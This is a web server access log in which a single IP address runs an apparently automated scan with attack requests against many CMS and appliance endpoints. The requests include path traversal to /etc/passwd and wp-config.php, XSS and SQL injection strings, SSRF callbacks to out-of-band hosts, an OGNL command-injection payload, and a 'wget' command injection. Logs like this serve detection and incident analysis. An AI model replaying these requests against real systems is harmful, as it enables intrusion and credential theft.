[09/Jan/2026:10:54:12 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /wlsecurity.html HTTP/1.1" 196
[09/Jan/2026:10:54:12 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /public/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd HTTP/1.1" 226
[09/Jan/2026:10:54:12 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /_search?pretty HTTP/1.1" 196
[09/Jan/2026:10:54:12 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /wp-content/plugins/advanced-text-widget/advancedtext.php?page=%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E HTTP/1.1" 196
[09/Jan/2026:10:54:12 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /remotereporter/load_logfiles.php?server=127.0.0.1&url=https://interact.sh/ HTTP/1.1" 196
[09/Jan/2026:10:54:12 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /process/feries.php?fichier=../../../../../../../etc/passwd HTTP/1.1" 196
[09/Jan/2026:10:54:12 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /wp-content/plugins/tera-charts/charts/zoomabletreemap.php?fn=../../../../../etc/passwd HTTP/1.1" 196
[09/Jan/2026:10:54:12 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /wp-content/plugins/ultimate-weather-plugin/readme.txt HTTP/1.1" 196
[09/Jan/2026:10:54:12 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /wp-content/plugins//wp-planet/readme.txt HTTP/1.1" 196
[09/Jan/2026:10:54:12 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /wp-content/plugins/dzs-videogallery/readme HTTP/1.1" 196
[09/Jan/2026:10:54:12 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET / HTTP/1.1" 3426
[09/Jan/2026:10:54:12 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET / HTTP/1.1" 3426
[09/Jan/2026:10:54:12 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /webadmin/deny/index.php?dpid=1&dpruleid=1&cat=1&ttl=5018400&groupname=<group_name_eg_netsweeper_student_allow_internet_access&policyname=auto_created&username=root&userip=127.0.0.1&connectionip=127.0.0.1&nsphostname=netsweeper&url=%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E HTTP/1.1" 196
[09/Jan/2026:10:54:12 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /go.php?http://interact.sh HTTP/1.1" 196
[09/Jan/2026:10:54:12 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /wp-content/plugins/candidate-application-form/downloadpdffile.php?fileName=../../../../../../../../../../etc/passwd HTTP/1.1" 196
[09/Jan/2026:10:54:12 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /webadmin/auth/verification.php HTTP/1.1" 196
[09/Jan/2026:10:54:12 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /wp-content/plugins/dukapress/lib/dp_image.php?src=../../../../wp-config.php HTTP/1.1" 196
[09/Jan/2026:10:54:12 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /index.php?option=com_contenthistory&view=history&list[ordering]&item_id=1&type_id=1&list[select]=updatexml(0x23,concat(1,md5(999999999)),1) HTTP/1.1" 196
[09/Jan/2026:10:54:12 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /magmi/web/magmi.php?configstep=2&profile=%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E HTTP/1.1" 196
[09/Jan/2026:10:54:12 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /magmi/web/ajax_pluginconf.php?file=../../../../../../../../../../../etc/passwd&plugintype=utilities&pluginclass=CustomSQLUtility HTTP/1.1" 196
[09/Jan/2026:10:54:12 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /osclass/oc-admin/index.php?page=appearance&action=render&file=../../../../../../../../../../etc/passwd HTTP/1.1" 196
[09/Jan/2026:10:54:12 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /opm/read_sessionlog.php?logFile=....//....//....//....//etc/passwd HTTP/1.1" 196
[09/Jan/2026:10:54:12 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /wp-content/plugins/mypixs/mypixs/downloadpage.php?url=/etc/passwd HTTP/1.1" 196
[09/Jan/2026:10:54:12 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /src/search.php?mailbox=INBOX&what=x&where=%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E&submit=Search HTTP/1.1" 196
[09/Jan/2026:10:54:12 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /remote/login?err=--%3E%3Cscript%3Ealert('380DIPf6i6cwGglkLFeFVJqK1dr')%3C/script%3E%3C!--&lang=en HTTP/1.1" 196
[09/Jan/2026:10:54:12 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /wp-content/plugins/activehelper-livehelp/readme.txt HTTP/1.1" 196
[09/Jan/2026:10:54:12 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /wp-content/plugins/navis-documentcloud/readme.txt HTTP/1.1" 196
[09/Jan/2026:10:54:13 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /wp-content/plugins/mdc-youtube-downloader/includes/download.php?file=/etc/passwd HTTP/1.1" 196
[09/Jan/2026:10:54:13 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /pages/ajax.render.php?operation=render_dashboard&dashboard_id=1&layout_class=DashboardLayoutOneCol&title=%%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E HTTP/1.1" 196
[09/Jan/2026:10:54:13 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /Install/InstallWizard.aspx?__VIEWSTATE HTTP/1.1" 196
[09/Jan/2026:10:54:13 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /webadmin/reporter/view_server_log.php?act=stats&filename=log&offset=1&count=1&sortorder=0&filter=0&log=../../../../../../etc/passwd HTTP/1.1" 196
[09/Jan/2026:10:54:13 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /wp-content/plugins/wp-swimteam/include/user/download.php?file=/etc/passwd&filename=/etc/passwd&contenttype=text/html&transient=1&abspath=/usr/share/wordpress HTTP/1.1" 196
[09/Jan/2026:10:54:13 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /cgibin/webproc HTTP/1.1" 196
[09/Jan/2026:10:54:13 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /pages/setup.php?defaultlanguage=..%2f..%2f..%2f..%2f..%2fetc%2fpasswd HTTP/1.1" 196
[09/Jan/2026:10:54:13 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "PUT /_snapshot/test HTTP/1.1" 220
[09/Jan/2026:10:54:13 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /wp-content/plugins/se-html5-album-audio-player/download_audio.php?file=/wp-content/uploads/../../../../../etc/passwd HTTP/1.1" 196
[09/Jan/2026:10:54:13 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /login/../../../etc/passwd HTTP/1.1" 226
[09/Jan/2026:10:54:13 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /380DILmSlQb5kUCH7rI6lW8VoPm HTTP/1.1" 196
[09/Jan/2026:10:54:13 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /_fragment?_path=_controller=phpcredits&flag=-1 HTTP/1.1" 196
[09/Jan/2026:10:54:13 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /login HTTP/1.1" 196
[09/Jan/2026:10:54:13 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //costModule/faces/javax.faces.resource./WEB-INF/web.xml.jsf?ln=.. HTTP/1.1" 196
[09/Jan/2026:10:54:13 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /wp-admin/admin-ajax.php?action=revslider_show_image&img=../wp-config.php HTTP/1.1" 196
[09/Jan/2026:10:54:13 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /reports/rwservlet?report=test.rdf&desformat=html&destype=cache&JOBTYPE=rwurl&URLPARAMETER=file:/// HTTP/1.1" 196
[09/Jan/2026:10:54:13 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /wp-content/plugins/zip-attachments/download.php?za_file=../../../../../etc/passwd&za_filename=passwd HTTP/1.1" 196
[09/Jan/2026:10:54:13 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /wp-content/plugins/infusionsoft/readme.txt HTTP/1.1" 196
[09/Jan/2026:10:54:13 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /webEdition/showTempFile.php?file=../../../../etc/passwd HTTP/1.1" 196
[09/Jan/2026:10:54:13 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /?q=node&destination=node HTTP/1.1" 196
[09/Jan/2026:10:54:13 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /fw/mindex.do?url=./WEB-INF/web.xml%3f HTTP/1.1" 196
[09/Jan/2026:10:54:13 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /wp-content/plugins/sourceafrica/readme.txt HTTP/1.1" 196
[09/Jan/2026:10:54:13 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /uddiexplorer/SearchPublicRegistries.jsp?rdoSearch=name&txtSearchname=sdf&txtSearchkey&txtSearchfor&selfor=Business+location&btnSubmit=Search&operator=http://d5g6to2hausk1oj0j65g1fudrpxz485qq.oast.live HTTP/1.1" 196
[09/Jan/2026:10:54:13 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /remotereporter/load_logfiles.php?server=018192&url=%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E HTTP/1.1" 196
[09/Jan/2026:10:54:13 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /wp-admin/tools.php?content=attachment&wp-attachment-export-download=true HTTP/1.1" 196
[09/Jan/2026:10:54:13 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET / HTTP/1.1" 3426
[09/Jan/2026:10:54:13 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /?page_id=0&&errors[fu-disallowed-mime-type][0][name]=%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E HTTP/1.1" 3426
[09/Jan/2026:10:54:13 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /redir.php?https://interact.sh HTTP/1.1" 196
[09/Jan/2026:10:54:13 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /webmail/old/calendar/minimizer/index.php?script=...%2f.%2f...%2f.%2f...%2f.%2f...%2f.%2f...%2f.%2f...%2f.%2f...%2f.%2f...%2f.%2f...%2f.%2f...%2f.%2fetc%2fpasswd HTTP/1.1" 196
[09/Jan/2026:10:54:13 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /source/loggin/page_log_dwn_file.hsp?h=44ea8a6603cbf54e245f37b4ddaf8f36&action=download&fileName=..\\..\\..\\windows\\win.ini HTTP/1.1" 196
[09/Jan/2026:10:54:13 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /wp-content/plugins/podcast-channels/getid3/demos/demo.write.php?Filename=Filename%27%3E%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E HTTP/1.1" 196
[09/Jan/2026:10:54:13 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /?gf_page=upload HTTP/1.1" 3426
[09/Jan/2026:10:54:13 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET / HTTP/1.1" 3426
[09/Jan/2026:10:54:13 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /bonita/portal/themeResource?theme=portal/../../../../../../../../../../../../../../../../&location=etc/passwd HTTP/1.1" 196
[09/Jan/2026:10:54:13 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /?option=com_helpdeskpro&task=ticket.download_attachment&filename=/../../../../../../../../../../../../etc/passwd&original_filename=AnyFileName.exe HTTP/1.1" 3426
[09/Jan/2026:10:54:13 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /login.action?redirect:${%23a%3d(new%20java.lang.ProcessBuilder(new%20java.lang.String[]{'sh','-c','id'})).start(),%23b%3d%23a.getInputStream(),%23c%3dnew%20java.io.InputStreamReader(%23b),%23d%3dnew%20java.io.BufferedReader(%23c),%23e%3dnew%20char[50000],%23d.read(%23e),%23matt%3d%23context.get(%27com.opensymphony.xwork2.dispatcher.HttpServletResponse%27),%23matt.getWriter().println(%23e),%23matt.getWriter().flush(),%23matt.getWriter().close()} HTTP/1.1" 196
[09/Jan/2026:10:54:13 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /inc/supportLoad.asp?urlToLoad=http://oast.me HTTP/1.1" 196
[09/Jan/2026:10:54:13 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST / HTTP/1.1" 196
[09/Jan/2026:10:54:13 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /maint/modules/endpointcfg/endpointcfg.php?lang=../../../../../../../../etc/passwd%00 HTTP/1.1" 196
[09/Jan/2026:10:54:13 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /cgi-bin/awstats/awredir.pl?url=%3Cscript%3Ealert(document.domain)%3C/script%3E HTTP/1.1" 199
[09/Jan/2026:10:54:13 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fetc/passwd HTTP/1.1" 196
[09/Jan/2026:10:54:13 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /api/v1/repos/search?q=%27)%09UNION%09SELECT%09*%09FROM%09(SELECT%09null)%09AS%09a1%09%09JOIN%09(SELECT%091)%09as%09u%09JOIN%09(SELECT%09user())%09AS%09b1%09JOIN%09(SELECT%09user())%09AS%09b2%09JOIN%09(SELECT%09null)%09as%09a3%09%09JOIN%09(SELECT%09null)%09as%09a4%09%09JOIN%09(SELECT%09null)%09as%09a5%09%09JOIN%09(SELECT%09null)%09as%09a6%09%09JOIN%09(SELECT%09null)%09as%09a7%09%09JOIN%09(SELECT%09null)%09as%09a8%09%09JOIN%09(SELECT%09null)%09as%09a9%09JOIN%09(SELECT%09null)%09as%09a10%09JOIN%09(SELECT%09null)%09as%09a11%09JOIN%09(SELECT%09null)%09as%09a12%09JOIN%09(SELECT%09null)%09as%09a13%09%09JOIN%09(SELECT%09null)%09as%09a14%09%09JOIN%09(SELECT%09null)%09as%09a15%09%09JOIN%09(SELECT%09null)%09as%09a16%09%09JOIN%09(SELECT%09null)%09as%09a17%09%09JOIN%09(SELECT%09null)%09as%09a18%09%09JOIN%09(SELECT%09null)%09as%09a19%09%09JOIN%09(SELECT%09null)%09as%09a20%09%09JOIN%09(SELECT%09null)%09as%09a21%09%09JOIN%09(SELECT%09null)%09as%09a22%09where%09(%27%25%27=%27 HTTP/1.1" 196
[09/Jan/2026:10:54:13 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST / HTTP/1.1" 196
[09/Jan/2026:10:54:13 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /cgi-bin/koha/svc/virtualshelves/search?template_path=..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fetc%2fpasswd HTTP/1.1" 199
[09/Jan/2026:10:54:13 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //PhpSpreadsheet/Writer/PDF/DomPDF.php?input_file=php://filter/resource=/etc/passwd HTTP/1.1" 196
[09/Jan/2026:10:54:13 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /res/I18nMsg,AjxMsg,ZMsg,ZmMsg,AjxKeys,ZmKeys,ZdMsg,Ajx%20TemplateMsg.js.zgz?v=091214175450&skin=../../../../../../../../../etc/passwd%00 HTTP/1.1" 196
[09/Jan/2026:10:54:13 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /openwin.php?redirurl=http://interact.sh HTTP/1.1" 196
[09/Jan/2026:10:54:13 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /wp-content/plugins/wp-easycart/inc/admin/phpinfo.php HTTP/1.1" 196
[09/Jan/2026:10:54:13 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /backupmgt/localJob.php?session=fail;wget+http://d5g6to2hausk1oj0j65g53u3ees7k7w6b.oast.live; HTTP/1.1" 196
[09/Jan/2026:10:54:13 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /webadmin/clientlogin/?srid&action=showdeny&url HTTP/1.1" 196
[09/Jan/2026:10:54:13 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /wp-content/plugins/wp-source-control/downloadfiles/download.php?path=../../../../wp-config.php HTTP/1.1" 196
[09/Jan/2026:10:54:13 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /wp-content/plugins/db-backup/download.php?file=../../../wp-config.php HTTP/1.1" 196
[09/Jan/2026:10:54:13 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /webadmin/policy/group_table_ajax.php/%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E HTTP/1.1" 196
[09/Jan/2026:10:54:13 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /?search==%00{.cookie|ziBT9t|value%3dCVE-2014-6287.} HTTP/1.1" 3426
[09/Jan/2026:10:54:13 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /website/blog/ HTTP/1.1" 196
[09/Jan/2026:10:54:13 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /wp-content/plugins/./simple-image-manipulator/controller/download.php?filepath=/etc/passwd HTTP/1.1" 196
[09/Jan/2026:10:54:13 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fetc/passwd HTTP/1.1" 196
[09/Jan/2026:10:54:13 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /wp-admin/admin-ajax.php?action=ays_sccp_results_export_file&sccp_id[]=1)+AND+(SELECT+1183+FROM+(SELECT(SLEEP(6)))UPad)+AND+(9752=9752&type=json HTTP/1.1" 196
[09/Jan/2026:10:54:13 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /wp-content/plugins/movies/readme.txt HTTP/1.1" 196
[09/Jan/2026:10:54:13 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //main.php.swn HTTP/1.1" 196
[09/Jan/2026:10:54:13 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /wp-login.php HTTP/1.1" 196
[09/Jan/2026:10:54:13 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /wp-content/plugins/stageshow/stageshow_redirect.php?url=http%3A%2F%2Finteract.sh HTTP/1.1" 196
[09/Jan/2026:10:54:13 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /novius-os/admin/nos/login?redirect=http://interact.sh HTTP/1.1" 196
[09/Jan/2026:10:54:13 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /?page=pie-register&show_dash_widget=1&invitaion_code=PC9zY3JpcHQ+PHNjcmlwdD5hbGVydChkb2N1bWVudC5kb21haW4pPC9zY3JpcHQ+ HTTP/1.1" 3426
[09/Jan/2026:10:54:13 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /sysaid/getGfiUpgradeFile?fileName=../../../../../../../etc/passwd HTTP/1.1" 196
[09/Jan/2026:10:54:13 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /_plugin/head/../../../../../../../../../../../../../../../../etc/passwd HTTP/1.1" 226
[09/Jan/2026:10:54:13 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /webadmin/policy/category_table_ajax.php?customctid=%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E HTTP/1.1" 196
[09/Jan/2026:10:54:13 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /wp-content/plugins/church-admin/readme.txt HTTP/1.1" 196
[09/Jan/2026:10:54:13 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /index.php?option=com_archeryscores&controller=../../../../../../../../../etc/passwd%00 HTTP/1.1" 196
[09/Jan/2026:10:54:13 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /spaces/viewdefaultdecorator.action?decoratorName HTTP/1.1" 196
[09/Jan/2026:10:54:13 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /index.php?p=banlist&advSearch=0%27%22%3E%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E&advType=btype HTTP/1.1" 196
[09/Jan/2026:10:54:13 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /wp-content/plugins/wp-symposium/readme.txt HTTP/1.1" 196
[09/Jan/2026:10:54:13 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /wp-content/plugins/robotcpa/f.php?l=ZmlsZTovLy9ldGMvcGFzc3dk HTTP/1.1" 196
[09/Jan/2026:10:54:13 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /wp-content/plugins/anti-plagiarism/readme.txt HTTP/1.1" 196
[09/Jan/2026:10:54:13 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /wp-content/plugins/defa-online-image-protector/readme.txt HTTP/1.1" 196
[09/Jan/2026:10:54:13 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /wp-content/plugins/ajax-random-post/readme.txt HTTP/1.1" 196
[09/Jan/2026:10:54:13 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /wp-content/plugins/admin-font-editor/readme.txt HTTP/1.1" 196
[09/Jan/2026:10:54:13 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /CMSPages/GetDocLink.ashx?link=https://interact.sh/ HTTP/1.1" 196
[09/Jan/2026:10:54:13 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /wp-content/plugins/wp-planet/rss.class/scripts/magpie_debug.php?url=%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E HTTP/1.1" 196
[09/Jan/2026:10:54:13 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /Umbraco/feedproxy.aspx?url=http://d5g6to2hausk1oj0j65gttd5eadea3c3g.oast.live HTTP/1.1" 196
[09/Jan/2026:10:54:13 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /wp-content/plugins/e-search/readme.txt HTTP/1.1" 196
[09/Jan/2026:10:54:13 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /system/console?.css HTTP/1.1" 196
[09/Jan/2026:10:54:13 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /wp-content/plugins/hdw-tube/readme.txt HTTP/1.1" 196
[09/Jan/2026:10:54:13 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /wp-content/plugins/e-search/readme.txt HTTP/1.1" 196
[09/Jan/2026:10:54:13 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /wp-content/plugins/enhanced-tooltipglossary/readme.txt HTTP/1.1" 196
[09/Jan/2026:10:54:13 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /wp-content/plugins/infusionsoft/readme.txt HTTP/1.1" 196
[09/Jan/2026:10:54:13 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /wp-content/plugins/hero-maps-pro/readme.txt HTTP/1.1" 196
[09/Jan/2026:10:54:13 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /wp-content/plugins/forget-about-shortcode-buttons/readme.txt HTTP/1.1" 196
[09/Jan/2026:10:54:13 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET / HTTP/1.1" 3426
[09/Jan/2026:10:54:13 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /wp-content/plugins/new-year-firework/readme.txt HTTP/1.1" 196
[09/Jan/2026:10:54:13 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /wp-content/plugins/page-layout-builder/readme.txt HTTP/1.1" 196
[09/Jan/2026:10:54:13 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /wp-content/plugins/hdw-tube/readme.txt HTTP/1.1" 196
[09/Jan/2026:10:54:13 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /wp-content/plugins/indexisto/readme.txt HTTP/1.1" 196
[09/Jan/2026:10:54:13 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /src/help.php?chapter=%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E HTTP/1.1" 196
[09/Jan/2026:10:54:13 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /wp-content/plugins/parsi-font/readme.txt HTTP/1.1" 196
[09/Jan/2026:10:54:13 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /wp-content/plugins/tidio-form/readme.txt HTTP/1.1" 196
[09/Jan/2026:10:54:13 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET / HTTP/1.1" 3426
[09/Jan/2026:10:54:13 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /wp-content/plugins/wpsolr-search-engine/readme.txt HTTP/1.1" 196
[09/Jan/2026:10:54:13 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /wp-content/plugins/simpel-reserveren/readme.txt HTTP/1.1" 196
